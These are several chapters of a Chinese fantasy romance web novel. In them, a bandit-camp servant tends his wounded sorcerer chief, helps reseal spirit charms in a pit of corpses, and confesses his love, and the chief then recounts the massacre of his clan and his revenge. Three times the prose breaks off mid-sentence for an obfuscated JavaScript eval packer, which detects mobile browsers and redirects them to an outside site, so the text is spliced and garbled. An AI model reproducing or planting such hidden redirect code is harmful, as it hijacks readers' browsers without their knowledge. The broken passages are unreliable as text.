“好了,屁话说多了,狗尿也多!快点的,一会他们回来了,抱怨菜不够多,酒不够热的,我就一人给一巴掌!”地缺凶狠地说着,众人只是相视一笑,相处多日,他们深知地缺内心却并非无情,唯有动手时毫不留情。十月将手帕塞回袖口,转身走回灶台旁,开始忙碌起来。 “来人!人都死哪去了!来人!”众人还在厨房这头忙着,那头就听见站岗的人在嘶声裂肺地喊着,地缺最快反应过来,第一个冲出厨房,快步跑去后头住宿的地,把守寨子轮换的人一个一个踢起来。 十月也快速带着众人跑去门口,只见寨门缓缓打开,一群人浑身是血,歪七扭八地站着,明显是刚经历过一场恶战。领头的那人喘着粗气,勉强挤出一句话:“快,快去叫大夫,寨主受了重伤!”十月一见这情形,脸色大变,立刻指挥起来:“快,把伤员扶到大厅去,你们几个,把厨房的热水都给我搬过去!别磨磨蹭蹭的!”众人迅速行动,寨内顿时忙碌起来。 十月的眼神始终没有离开众人中间的黑色身影,只见他今日没了往日的玩世不恭,总是坏笑的脸今日格外的疲惫,白皙的脸上沾满了尘土和血迹,眉头紧锁,嘴唇紧抿,显露出难以言喻的痛苦。他的手紧紧按在腹部,鲜血不断从指缝间渗出,染红了地面。 十月和众人快速带着百鬼郎君往大厅里走,走到一半,百鬼郎君突然低声呻吟,脚步踉跄,几乎要瘫倒在地。十月眼疾手快,一把扶住他,低声安慰:“撑住,马上就到!”百鬼郎君闻言,抬起头看着十月,艰难地起身道:“你,扶我回房,其余人去大厅疗伤。” “寨主!”地缺在后头焦急地喊道:“你不给大夫看一下吗?” “我房里有治疗手段,你们别跟来,他扶我去就行。”这几句话用尽了百鬼郎君的力气,本来强撑起的身子,忽然往十月身上靠去,一瞬间,百鬼郎君的血也染到了十月身上。十月心头猛地一紧,稳稳托住他,向地缺投去一个‘我来’的眼神,随即转身,步伐急促地奔向百鬼郎君的居所。 百鬼郎君的房子在寨子的中间,不大,建了三层。平日里,这里犹如禁地一般,无人敢越雷池一步,就连守门之人也只能远远守候,不敢稍有逾越。如今这般近距离靠近,十月还是第一次。十月刚想踏进去,只见百鬼郎君的手微微抬起,口中虚弱地念道:“百鬼,退。” 一股阴风骤然刮起,房门无风自开,屋内黑影攒动,似有无数鬼魅隐匿其中。十月心中一凛,却未敢迟疑,扶着百鬼郎君稳步踏入,阴风随之消散,屋内恢复平静。屋子格外洁净,但是所用之物与十月日常所见大不相同,墙壁上挂满了奇异的符咒,案台上摆放着各种稀奇古怪的药瓶和器具。空气中弥漫着一股淡淡的药香,夹杂着一丝难以言喻的阴冷气息。 十月小心翼翼地将百鬼郎君扶到床边,轻手轻脚地帮他躺下,百鬼郎君却摇手示意不用,身子斜靠在床沿,艰难地指了指墙角一处供奉的神龛,低声道:“取那瓶紫色的药粉,给我敷上。”十月不敢怠慢,依言而行,走到神龛处,只见这里摆着好几个小瓶子,其中紫色和黑色的最为扎眼,十月拿起紫色药瓶,快步回到,发现百鬼郎君已解开衣衫,露出伤痕累累的腹部。 这是一道深可见骨的伤口,血肉模糊,触目惊心,断裂的肌理和翻卷的皮肉之下,隐约间还能看到蠕动的脏器。十月倒吸一口凉气,嘴唇微微颤抖,他从未见过如此恐怖的伤势,他也不知该如何下手。百鬼郎君似乎看穿了他的犹豫,低声催促:“别怕,直接把瓶里的粉末倒上去就行了。”十月深吸一口气,稳住心神,轻轻拔开瓶塞,将紫色粉末均匀撒在伤口上。 粉末触血即化,冒出缕缕青烟,伤口处传来滋滋声响,百鬼郎君紧咬着牙,额头上汗珠滚落。疼痛铺天盖地,百鬼郎君从床沿滑落,双手紧握床单,指节泛白。十月看到百鬼郎君的口中也冒出了鲜血,深知他已经疼到咬舌头了,赶忙捏着他的嘴,大喊道:“寨主,你不能咬舌头!你,你……”十月慌乱中,完全找不到合适的东西来抵住百鬼郎君的牙齿,情急之下,一把从身后紧紧抱住百鬼郎君,用尽全力将他稳住,随后趁他稍微松口之际,一下把自己的手狠狠贴住百鬼郎君的嘴,用力喊道:“寨主,你咬我,你咬我的手!咬舌头会死人的!” 话刚说完,只觉手臂一阵剧痛传来,百鬼郎君的牙齿深深嵌入肉中,鲜血顺着十月的臂膀滴落,十月咬紧牙关,丝毫不敢松懈。两人就在这同样的痛楚之中,紧紧相拥着,而百鬼郎君的伤口,也在以肉眼可见的速度开始愈合,青烟逐渐散去,伤口处的血肉开始缓缓愈合,百鬼郎君的气息也逐渐平稳。只有十月的臂膀血流不止,但他依旧咬牙坚持,眼中满是坚毅。 待到伤口不再有青烟冒出,百鬼郎君终于松开了口,十月缓缓抽出手臂,鲜血染红了衣襟。他轻声探问:“寨主,您可好些了?”只见百鬼郎君默不作声,再一望,已然陷入昏迷。十月心中一紧,迅速探了探百鬼郎君的鼻息,虽微弱却尚存。他强忍臂痛,轻柔地将百鬼郎君平放床上,取来干净布条,想要仔细包扎伤口。但百鬼郎君的伤口已经不见,腹部平坦如初,唯有地上血迹斑斑的衣襟,见证着方才的生死搏斗。 十月抹去额头的汗水,长舒一口气,心中暗自庆幸。趁着百鬼郎君昏睡,十月匆匆转了一圈房子,竟然在角落处发现了小厨房,进去一瞧,一应物品俱全,柴火也有。 ‘难怪平日里都不曾见他与人同饮同食,也不让人伺候,原来都是自己做的。’十月心中想着,随即生火煮水,找来了看起来干净的麻布,端着热水和麻布回到床边,轻柔地为百鬼郎君擦拭脸上的汗水和血迹,动作细致入微。热水蒸腾,麻布轻拭,百鬼郎君的脸色渐渐缓和。 “娘!小妹!你们……不要……不要!”百鬼郎君在梦中呓语,声音微弱却带着无尽的悲凉,十月心中一酸,轻抚其额,低声安抚:“寨主,我在,你安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十月的抚摸上下游走,百鬼郎君眼中闪过一丝促狭,伸手拍了一下十月的手背,轻笑道:“这般摸,摸上瘾了?”十月脸一红,忙缩回手,尴尬笑道:“哪有,只是担心寨主。”百鬼郎君眼中笑意更浓,轻拍十月的肩膀:“给我烧点热水,我想洗个澡。” “可寨主你刚伤愈,洗澡是否不好?” “无妨,只要还活着,就证明没啥问题了。” 闻言,十月点头,迅速去准备热水。十月动作麻利,不一会儿便将热水备好,轻手轻脚地端进屋内澡房,小心翼翼地倒入木桶中,伸手调试水温,确保适宜。 “寨主,水放好了。”十月刚出澡房,呼喊着,一头就撞上了百鬼郎君,只见他此刻赤身裸体站在跟前,十月这一撞贴到了百鬼郎君的身上,仅凭身上那点布料根本隔绝不了百鬼郎君的温度传递过来,一下子烫得十月脸通红。 “走路小心些。”百鬼郎君轻推开十月,嘴角挂着戏谑的笑意,转身步入澡房。十月站在原地,心跳如鼓,脸颊依旧火辣辣的,心中暗骂自己笨手笨脚,却又忍不住偷偷瞥了一眼那宽厚的背影,心中涌起一股莫名的情愫。 “你就光站着啊?不应该给我搓下背吗?”十月一愣,脸颊更红,犹豫片刻,终是轻声应道:“好。”他深吸一口气,缓缓步入澡房,心中虽慌乱,却尽力保持着镇定。水汽氤氲中,他轻轻拿起澡巾,小心翼翼地替百鬼郎君搓背,动作轻柔而细致,生怕弄疼了对方。百鬼郎君闭上眼,一脸的享受,嘴角微微上扬,似乎在回味某种愉悦。 十月见状,心中稍安,手下的动作愈发轻缓。水声潺潺,空气中弥漫着淡淡的草药香,两人间的气氛渐渐变得温馨而和谐。十月的目光不由自主地停留在百鬼郎君的后背上,几道新旧疤痕交错,他情不自禁地伸手轻抚。 “这些小伤用不到药,所以都是自己愈合,估计留了不少疤吧。”百鬼郎君感应到了十月的手,轻声道:“这些都是我活下来的证明。” “寨主,昨夜你真的吓死人了。”十月回忆起昨夜场景,心中仍有余悸。 “轻敌了,没想到蓬莱城请了那么厉害的,看来要有几个月不能再下山了。”十月闻言,心中一紧,轻声问道:“那寨主有何打算?”百鬼郎君睁开眼,目光深邃:“先养伤,再从长计议。”他顿了顿,又道:“你放心,我会保护好大家。”十月点点头,心中稍感安慰,继续专注地为百鬼郎君搓背。 39.三十九、梦中忆(五) 自那日后,十月便成了寨子里的唯一特例——可以进出寨主房子之人。百鬼郎君虽然伤口已经愈合,但是依然整天卧床休养,想来愈合的只是皮肉,而内里的伤势还需时日调理。十月每日悉心照料,端茶递水,然而百鬼郎君时常不在屋内,去向不明。十月无奈之余,只能在门口守岗处忙碌于杂务,但凡屋内稍有动静,便急匆匆地奔入。 “这十月不嫌累吗?早上在这剥豆择菜,下午在这舂米磨浆,这些东西一趟又一趟地来回搬,我光用看的都觉得费劲。”守门的寨兵忍不住嘟囔,眼见十月又匆匆跑进屋内,不禁摇头叹道:“这小子,真是拼了命地伺候寨主。” “你那是羡慕吧。” “羡慕什么?” “羡慕时时刻刻都能有人关心啊。” “啊呸!他是个男的,他的关心值几个钱!” “啧,粗俗,只知道钱。” 守门的两人一言一语地来回争吵,声音有些大,引得百鬼郎君微微皱眉,他此刻正靠在床头看着一本竹简,轻叹一声,放下竹简,目光投向窗外,思绪飘远。十月恰好端茶进来,见状轻声问道:“寨主,是否需要我前去提醒他们,让他们尽量压低声音?” “无妨,这寨子没人说话,就真无趣极了。”十月闻言,微微一笑,附和道:“前几日受伤的人多,倒真没什么人说话,弄得我也有些不适应了。” “他们如何了?无大碍吧?”百鬼郎君说着揉了揉腹部,隐约透出一丝痛楚。十月忙道:“大部分都无大碍,只是天残哥说,折了不少的兄弟,也残了不少,恢复起来怕是要费些时日。” “这是自然,我已经和他说过了,先闭山半年,如今寨子的东西够我们安稳过个七八年也有余的。不过闭山归闭山,该有的操练不能少。”百鬼郎君说着,十月点头应是。“对了,明日起,你不用过来了,我已经恢复得差不多了。” 正在倒茶的十月,一听此话,手中热水掀翻了茶盏,一股热气腾腾的水瞬间浸湿了桌布,他慌忙放下茶壶,手忙脚乱地擦拭,心中涌起一股失落。百鬼郎君见状,轻笑一声:“怎么了?让你回去高兴得,连茶都倒不好了?” 十月低头,声音细若蚊呐:“只是习惯了伺候寨主,突然不用,反倒有些不自在。”百鬼郎君敛笑,目光柔和:“我本就不是喜欢被人伺候的主,我……” “寨主你是嫌十月蠢笨吗?所以才要打发我走?”十月眼眶微红,声音带着一丝哽咽:“我虽不聪明,有什么做得不对的,你说,我一定改!” 百鬼郎君看着眼前突然红了眼圈的十月,先是一愣,随后说道:“我并非此意,但……我体质阴鸷,屋内邪祟不少,与我待着,怕是对你不利。” “我不怕!”十月第一次知道自己能如此用力地说出这三个字,眼中闪烁着坚定光芒,仿佛能驱散一切阴霾:“只要能陪在寨主身边,任何风险我都不在乎。”百鬼郎君沉默片刻,终是叹了口气,拍了拍十月的肩膀,语气中多了几分无奈与温情:“你这性子,罢了,晚上,你陪我巡视一遍寨子吧。” “是!”十月眼中闪过一丝欣喜,忙不迭地点头,心中那股失落瞬间被暖意填满。他小心翼翼地收拾好茶盏,动作轻柔却带着难以掩饰的激动。百鬼郎君看着他的背影,眼中闪过一丝复杂的情绪,随即又恢复了平静,重新拿起竹简,继续沉浸。 夜里,寨子笼罩在一片静谧中,十月特地收拾了一下,换了身干净利落的衣裳,早早就坐在屋外石阶上等待。守门的两个寨兵吃着十月拿来的宵夜,不时投来好奇的目光。十月容貌出众,五官柔美中带着英气,一身清秀中蕴含不屈,尤其是那双明亮的眼眸,仿佛能穿透夜色,映射出内心的忠诚与坚毅。寨子里的男人没有长得像他这样的,如此秀气又不失刚毅,倒让人生出几分怜爱。 门扇缓缓推开,百鬼郎君步出,依旧是那一袭亮眼的红衣和满身的银饰,月光下显得格外艳丽妖娆。他目光扫过十月,微微一笑:“走吧。”十月赶忙起身,紧随其后。 两人并肩而行,夜风轻拂,月光洒在蜿蜒的山道上,银白如霜。十月心中激动,步履轻快,不时偷瞥身旁的百鬼郎君,眼中满是敬仰。百鬼郎君不言,目光不时在周遭的树影里掠过,神色警惕。 很快,两人走到一棵大树之下,百鬼郎君突然停下,手指轻点树干,低声说道:“此树树根有一树洞,共有十四个骨灰坛,每个骨灰坛都有一张黑符封印,你蹲下瞧瞧,是否都完好。” 十月闻言,立刻靠近树干,蹲下仔细查看。月光下,大树之下确实有一个黑黝黝的洞口,洞中有许多白色的瓷罐,月色下极为明显。十月伸手轻触瓷罐,逐一细数,只见十四个骨灰坛排列得整整齐齐,黑符在微弱的光线下隐隐闪烁。十月逐一检查,确认每个封印都完好无损,随后站起身,向百鬼郎君汇报:“回禀寨主,十四个骨灰坛封印均完好无缺。” 百鬼郎君点头,不语,继续往前走去。十月跟在他的身后,听着百鬼郎君身上银饰碰撞的叮铃声,莫名的心安。夜色愈深,山风渐凉,两人已行至山的中腰处。百鬼郎君突然停下,望向远处黑暗的密林。十月也随之凝神,隐约听到林中传来低沉的兽吼,心中一紧。百鬼郎君侧耳倾听,眉宇间闪过一丝凝重,低声吩咐:“小心,随我绕道而行。”十月紧随其后,步伐愈发谨慎。 两人绕过密林,兽吼声渐远,月光下,山道愈发幽静,只有银饰的叮铃声在夜风中回荡,最终两人停在了一处巨大的坑窝处。坑窝深邃莫测,四周爬满了青苔,空气中充斥着令人作呕的腐朽气息。百鬼郎君俯身,手指轻触坑边泥土,眉头紧锁。十月屏息凝视,隐约察觉到坑底似乎有微弱的光芒闪烁,仔细一瞧,只见坑窝深处飘着几种颜色的小火,绿、蓝、红,幽幽燃烧。十月明白,这是鬼火,之前快意楼入货不及时,要出城去村里收一些,晚上赶路回来时总能看到这些。 百鬼郎君不知从哪掏出一面铜鼓,轻轻一敲,嗡嗡之声回荡在夜空,坑底鬼火随之摇曳,仿佛被铜鼓声牵引。百鬼郎君目不转睛,低声念咒,手势变幻,铜鼓声愈发急促。十月屏息以待,只见鬼火逐渐聚拢,分别于左中右各成三团,颜色愈发鲜亮。百鬼郎君手势一收,铜鼓声戛然而止,鬼火随之静止不动。 “走,下去瞧一瞧。”百鬼郎君一把抱住十月的腰,纵身一跃,缓缓落入坑中。越深,腐臭的味道越浓,坑底光线昏暗,百鬼郎君点燃火折子,火光映照出坑底的景象。十月初时一愣,随即一股强烈的反胃感和刺骨的寒意直冲心头,他紧捂着口鼻,几乎不敢呼吸,只因眼前赫然堆满了腐烂的尸体,有的已化为森森白骨,有的尚残存着血肉模糊的皮肉,恶臭之味扑鼻而来,令人窒息。 百鬼郎君面不改色,推了一把十月,示意他靠近。“这里一共埋了三张聚怨符,我记忆不太好,老是忘了贴在哪了,你帮着找找,看看是否有破损。”闻言,十月强忍不适,小心翼翼地在尸堆中翻找,火光映照下,他的手触碰到冰冷的白骨,心中一阵战栗,又或是不小心踩到了软烂的腐肉,发出令人作呕的声响。十月咬紧牙关,继续搜寻,终于在一具半腐的尸体下发现了一张浑身黑漆漆的符纸,边缘已有破损,他小心地将其抽出,递给百鬼郎君。百鬼郎君一把接过符纸,眉头拧成一团,低声道:“果然如此。”话音未落,他已迅速从怀中掏出一张新符,稳稳贴于原处,同时口中念念有词,语速飞快。随着咒语声起,符纸泛起微光,坑底的鬼火也随之微微颤动,仿佛在回应。 “还有两张,继续找。”百鬼郎君脸色冰冷地说道,十月深吸一口气,继续在尸堆中翻找,手指不时触碰到冰冷的白骨和黏腻的腐肉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273089|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中恐惧与恶心交织。终于找了许久,才找到其余两张所在,其中一张贴在一具无头尸体的胸前,另一张贴在坑角一堆白骨之下,边缘均有不同程度破损。十月逐一抽出,递给百鬼郎君。百鬼郎君迅速更换新符,咒语声再起,符纸泛光,坑底鬼火随之闪烁,气氛愈发诡异。百鬼郎君做完这一切,长舒一口气,拍拍十月的肩:“辛苦了,咱们回去。”说完,又是一抱,拉着十月跃出坑外。 “回去吧。”百鬼郎君轻声说道,十月摇了摇头,举起手臂,原本干净清爽的衣服已经沾上了大量的腐烂尸液和恶臭,仿佛带着坑底的阴冷与怨气。他望向百鬼郎君,眼中闪过一丝复杂的情绪。 “怎么了?生气了?”百鬼郎君问道:“回去我赔你一身新衣服。” 十月缓缓摇头,轻声道:“不是生气,是太臭了,这身味回寨子,得把他们熏吐了,寨主,我先找个地方洗一下再回去吧。” 百鬼郎君先是一愣,随即一笑:“行。”两人又走了一段崎岖的山路,最后在一波清泉下停下脚步。泉水清澈见底,十月急切地想要摆脱身上的污秽,正要脱下衣物踏入泉中,却被百鬼郎君轻轻伸手拦住,微笑道:“别急,先让我处理一下。”百鬼郎君从怀中掏出一小瓶药粉,撒入泉中,水面顿时泛起一圈圈涟漪,散发出淡淡清香,随后又掏出一枚赤红色的珠子扔入水中,珠子沉入泉底,泉水瞬间变得温热,香气更浓。 “洗吧。”百鬼郎君做完这些,在一旁寻了块干净的石头坐下,又掏出竹简借着火折子的光看了起来。十月踏入泉中,温热的泉水迅速驱散了身上的寒意和恶臭,泉水轻抚肌肤,仿佛有净化之力,十月感到一股暖流从心底涌出,疲惫与恐惧逐渐消散。他闭上眼,深吸一口清新的空气,心中默念感谢。 十月沉浸在泉水带来的宁静中,脑袋也被熏得通红,雾气缭绕,并未发现坐于身后的百鬼郎君早已放下竹简,目光深邃地注视着他,嘴角勾起一抹不易察觉的微笑。 回去时,夜色渐深,星光点点,山路在月光下泛着幽蓝。十月穿上了刚洗涤过的衣服,却仍忍不住反复嗅闻,那股顽固的腐臭仿佛已深深渗入衣料,无论如何也挥之不去。 “别闻了,没用的,清水哪里洗得掉尸臭,回去再洗一次澡,然后把这身烧了便是。”百鬼郎君语气有些戏谑,十月垂着脑袋不言语,只是默默加快了脚步。夜风拂过,树影婆娑,仿佛在低语。百鬼郎君侧头看了看他,眼中闪过一丝柔和,轻声安慰道:“别担心,回去我赔你一身新的。” “进了寨子,我的命都是寨主的,哪来什么赔不赔的。只是……”十月说着话,停下了脚步,百鬼郎君不解,回头看去,只见十月神情委屈,带着一丝丝的颤抖:“只是寨主要试探我,明说便是,何苦试了以后,又说这么些生分的话。” 百鬼郎君愣住,随即轻叹一声,走上前拍了拍十月的肩膀:“我并无此意,我……” “寨主,我这是什么?”十月指着自己的双眼问道。 “额,眼?” “你知道就好,我没瞎,能看得见,也没聋,能听得着,你今日领我来看这些封印,尽是骨灰坛与腐臭尸坑,分明是想以此吓退我,何必如此迂回。既进了寨子,我早就做好了刀口上舔血过日子的准备,不过是些死玩意儿,怎么可能轻易就能吓走我。寨主若真的不喜我近身伺候,直说便是,无需用这些个东西想着把我吓走!”十月的一番话,弄得百鬼郎君沉默许久,一双眼睛久久停在十月的脸上,复杂的情绪交织。 “我……啧……唉”百鬼郎君没有说话,只身一人返回寨中,余留下红着脸的十月,看着那一抹渐渐远去的红影,十月重重地吐出一口气,仿佛刚才的那番话是自己憋着气才敢说出来的一样,心情纷乱,十月狠狠地捶打自己数下,未曾察觉眼角已泛起泪光。 40.四十、梦中忆(六) 夜里,十月独自坐在山头,嘴里叼着一根狗尾巴草,双手后撑,看着漫天的星星。他思绪纷乱,回忆与现实交织,唯有一抹红影在脑海中挥之不去。十月不知自己怎么了,怎么好像一切事情都开始失控,开始往自己意想不到的方向发展,他明明是想着假意投靠,伺机贩卖情报的,怎么才来了几个月,心却渐被这寨子和百鬼郎君牵绊。 十月苦笑,心中莫名涌起对母亲的思念。尽管母亲从未给予他温暖,但每当心事重重,他总会幻想母亲能给予他一丝慰藉或指引。夜深露重,十月紧了紧衣衫,心中的迷茫却如夜色般愈发深沉。他抬头仰望浩瀚星空,仿佛在无尽的星河中寻找答案,然而星河无言,哪有他心中想要的那份指引。 “想什么呢?在这发呆。”地缺拿着几根牛肉干和一小缸酒突然出现在身旁,十月被吓了一跳,随即勉强一笑:“没想啥,就是,有点想家了。” “你还有家?” “我还有个娘在别人家寄养,也不懂那还算不算是个家。”十月低声自语,地缺递过酒缸说道:“有心事,就喝点酒,暖一暖身子,啥事情都能想通的了。”十月接过酒缸,轻抿一口,辛辣的酒液顺着喉咙而下,心中却愈发酸涩。他望向地缺,眼中闪过一丝感激,却又迅速被迷茫掩盖。夜风凛冽,吹得他衣衫猎猎作响,地缺咬着牛肉干说道:“别想太多,这寨子里谁还没点苦楚?喝酒,吃肉,日子还得过。”十月默默点头,地缺却一拍十月肩膀,表情严肃认真地问:“你和寨主,是怎么回事?” “什么怎么回事?什么事也没有!”这突然一问,十月顿时语塞,脸颊微烫,急忙掩饰地灌下一大口酒。 “我看你们两个最近很奇怪,你看到他,不是低头就是装作有事忙,他看到你,不是表情阴森就是无故发火。” 十月心中一紧,嘴上却轻描淡写:“哪有的事。” “我眼睛是被砍了一刀看东西模糊,但是我还有一只眼没瞎,看得出来。”地缺拿过酒缸,就着牛肉干狠狠地喝了一大口,继续说道:“做绿林这么多年了,啥东西没见过,寨里男人最多了,男人喜欢男人也不奇怪,只是你俩这态度,明显是心里有鬼,又不敢挑明。” “你说什么呢,什么男人喜欢男人!我,我……我不是,他……”十月急得结结巴巴,脸颊如同被火烧般通红,连耳根都红透了。地缺嘴角勾起一抹笑意,轻轻拍了拍十月的肩膀,眼神中带着几分戏谑:“小伙子,别那么紧张,感情这事儿,就像春天的花儿,到了时候自然会开,藏不住的。” “我们真没有,寨主不可能喜欢我,我也不敢往那方面想,我这条贱命,能活着就不错了。” “寨子里哪个人不是贱命,每日皆是生死未卜,得过且过。谁都不知明天事,上次那批货,死了小一半的人,我们都是刀尖上舔血过活的,只知享受当下,想不了太远的事。”地缺继续喝着酒,话也继续:“但是你和我们不同,你有娘,有娘就有家,就有退路,你是一时被逼上山,但等寨主给你分了钱,大可回去买个小地方和你娘过好下半生,我们,记得,是我们,都没有你这样的命。”地缺指着寨子那头绕圈,说话有些醉醺醺的,脸通红,眼也有些湿润。 “你们可以有退路的,等赚够了,不就……” “天真!”地缺猛地一站,酒缸震得晃了晃:“这世道,哪有那么多退路可走?你懂不懂什么叫杀人偿命,欠债还钱?我们手上沾的血,够我们死一百回了,哪里来的退路,那些被我们杀的人,他们愿意给我们退路吗?就算能寿终正寝,我们这些人下了地府,也是要下十八层地狱受刑的,哪来的后路!” 十月愣住,心中一阵酸楚,低头沉默。地缺坐回,语气缓和:“我只是想让你明白,如果你觉得还有后路,趁早下山罢,我信得过你,你不会出卖我们。如果你真的想和寨主在一起,那就别怕,感情的事,拖泥带水只会更糟。你若真心,他未必无情,何不放手一搏?只一条,我们是绿林,他是百鬼郎君,我们的手上都是人命和血债,注定不会有善果,想好了,再踏出那一步。” “地缺姐,我……” “你不用回答我,你要做的是问自己怎么想。”地缺说完,吐了一口痰,对着天骂了一声:“呸!这酒怎地如此苦涩!想是那看守偷尝未封紧,坏了酒味!” 那日夜谈之后,十月忽然又一切如故,照常出入百鬼郎君的房子,每日端茶倒水,面对百鬼郎君有些惊愕的眼神,十月却不理会,照旧细心照料,仿佛什么事都未曾发生过。 百鬼郎君渐露疑惑,却未多言。这日,百鬼郎君刚从外面回来,见十月正细心擦拭着神龛,眼神专注,仿佛在擦拭自己的心事。他轻咳一声,十月抬眼,眸中掠过一抹慌乱,旋即归于平静,淡然言道:“神龛蒙尘,我擦拭一下。”百鬼郎君微微点头,目光深邃,似在探究。看着百鬼郎君的表情,十月有些怨怼地说道:“那些瓶瓶罐罐我都没碰,不会乱了寨主的规矩。只是这神龛,总觉得该干净些,免得冲撞了神灵。”百鬼郎君沉默片刻,轻声道:“我不是那个意思。” “那你是什么意思?”十月紧咬唇瓣,眼中闪烁着倔强的光芒:“有话直说,何必总是藏着掖着让人揣测,你可知并非所有人都擅长猜心?”十月的话带着一丝愤怒,百鬼郎君微微一愣,眼中闪过一丝复杂的情绪,缓缓道:“我只是觉得,你最近有些不同。”他的声音低沉,带着一丝不易察觉的关切,“若是有什么心事,不妨直言。”十月闻言,心弦一颤,一股暖流自心底腾起,直冲喉头,终是脱口而出:“因为……我已对你心生爱慕!” 此话一出,十月又突然后悔,不敢再直视,百鬼郎君脸上闪过一丝错愕,空气仿佛凝固。百鬼郎君沉默良久,缓缓坐下,眼神复杂地看着十月:“你可知,你在说什么?”十月咬唇,眼中泪光闪烁:“我明白,但心不由己。”百鬼郎君叹了口气,语气柔和:“既然如此,我便不再隐瞒,我亦对你有意,只是我,贱命一条,没有来日的,你和我在一起,我一点承诺都无法给予。”十月闻言,泪珠滚落,却强忍着泪意,倔强道:“我不求承诺,只愿此刻真心相对。哪怕明日刀剑加身,也无怨无悔。” 百鬼郎君眼中掠过一抹动容之色,缓缓伸出手掌,轻轻覆盖在十月的手背上,低声问道:“你可想好了?”十月用力点头,泪眼蒙眬中,百鬼郎君的手温暖而坚定。两人目光交汇,空气中弥漫着一种难以言喻的默契。百鬼郎君轻叹,眼中柔情渐浓:“我带你去一处地方,随我来。”百鬼郎君牵起十月的手,四周忽然鬼影缭绕,阴风阵阵,却未觉寒意,黑雾随即升起笼罩两人,但又迅速褪去,待再睁眼,已置身一片幽静竹林,竹影婆娑,只是这片意境之地,放着两口赤红色棺木,散发着诡异的气息。 十月心中一惊,却见百鬼郎君神色坦然,轻声道:“这是,我的家人。”十月愣住,目光扫过棺木,心中五味杂陈,百鬼郎君继续道:“她们曾是我的一切,如今只剩这些。我不是蓬莱城人,而是来自瑶光国,我本是瑶光国山上的壮灵族,世代以采矿织锦为生,守护山林。我本名裴千秋,是壮灵族与山下瑶光国人通婚所生,我自小就一直跟着母亲生活,父亲因为不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288956|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是族人,无法长居山中,在山下也有居所,故而两边走动,那时的日子虽平淡清苦,但也有亲情乐趣,直到那一日……” 壮灵族族群部落扎寨于瑶光国铜矿山脉之上,世代以铜为尊,族人皆以采矿为生,生活虽艰辛,却自得其乐。但自九州各国不再以铁钱流通,只用铜钱后,瑶光国铜价飞涨,壮灵族便被盯上了。好在,壮灵族世代有秘术传承,凡入山者未得允许,皆会被山中恶灵所杀,直到那日,我父亲带着瑶光国士兵闯入山中。我父亲虽不是族人,但多年下来,已懂得山中秘术,为求荣华富贵竟引兵入山。 父亲此举,令族人大惊,纷纷抵抗,却敌不过兵刃。那日,血流成河,族人尽遭屠戮,母亲和小妹亦未能幸免,我因那两日母亲身体不适,外出采药而幸免于难。当我找到我母亲时,她只剩一口气,她搂着我的小妹,满眼的愤恨,只和我说了一句‘千秋,活下去,杀了你爹,为族人报仇。’ 裴千秋眼中闪过一丝悲凉,轻抚棺木,声音低沉:“埋葬族人后,我拿得族中秘术,才知那是邪魔靳洛水所传鬼道秘术,借着死去族人怨灵怨气,我修为大涨,我下山第一件事,便是找到我那父亲。你可知我当时找到他时,我看到了什么?他早已有两个和我差不多年纪的儿子,他在山下也有家室,儿女齐全,我到时,他们一家正聚在一起举杯欢饮,享受着用我族人之血换来的金银财富。” 裴千秋眼中闪过寒光,声音微颤:“我母亲为了与他在一起,多年来被族人冷眼相待,受尽委屈,他却在外另筑爱巢,并踩着我母亲和小妹的命,享尽荣华。我用鬼道秘术将他全家杀尽,将父亲一家炼为尸傀,与我一起祸乱瑶光国,只为让世人知晓,背叛者的下场。因我杀戮过重,终被瑶光国修士联合追杀,流亡至此。世人皆呼我为百鬼郎君,匿真名于暗夜,殊不知,裴千秋三字,乃吾之咒,背负着滔天血仇。” “我留蓬莱,誓待修为大成,重返瑶光,以雪前耻。我此生已与仇恨共生,双手沾满鲜血,无论仇雠,抑或无辜,皆已无法挽回。回头无岸,退路已绝,我之宿命,唯有沉沦黑暗。我无悔,唯愿以血偿血,誓报此仇。”百鬼郎君眼中闪过决绝,又转身看向十月,语气温和地说道:“那日,我潜入蓬莱城,只为获取他们的运货路线计划书,却凑巧遇到了你。也是那般,被官府杂碎欺压,也是那般,无能为力,在你身上,我看到的是自己曾经的影子,那份无助与愤怒。那日之后,我记住了你,总是有意无意会想起你的脸,以及那双委屈的眼眸。我从不知情爱是何物,但那一刻,我竟心生怜惜,即使,你是个男人。后来,你跑来投靠于我,按规矩,我不会这般随意接纳投靠之人,或许在你身上,我看到了一丝光亮,让我想起还未沾血的自己。我贪恋这份温暖,渴望拥有,却明白前路无光。你与我,犹如飞蛾扑火,一旦相拥,唯余悲凉。因此,我止步不前。你言爱慕,我心欢喜,可我觉得你尚有选择,双手未染尘埃,不应随我步入这无垠的黑夜。” 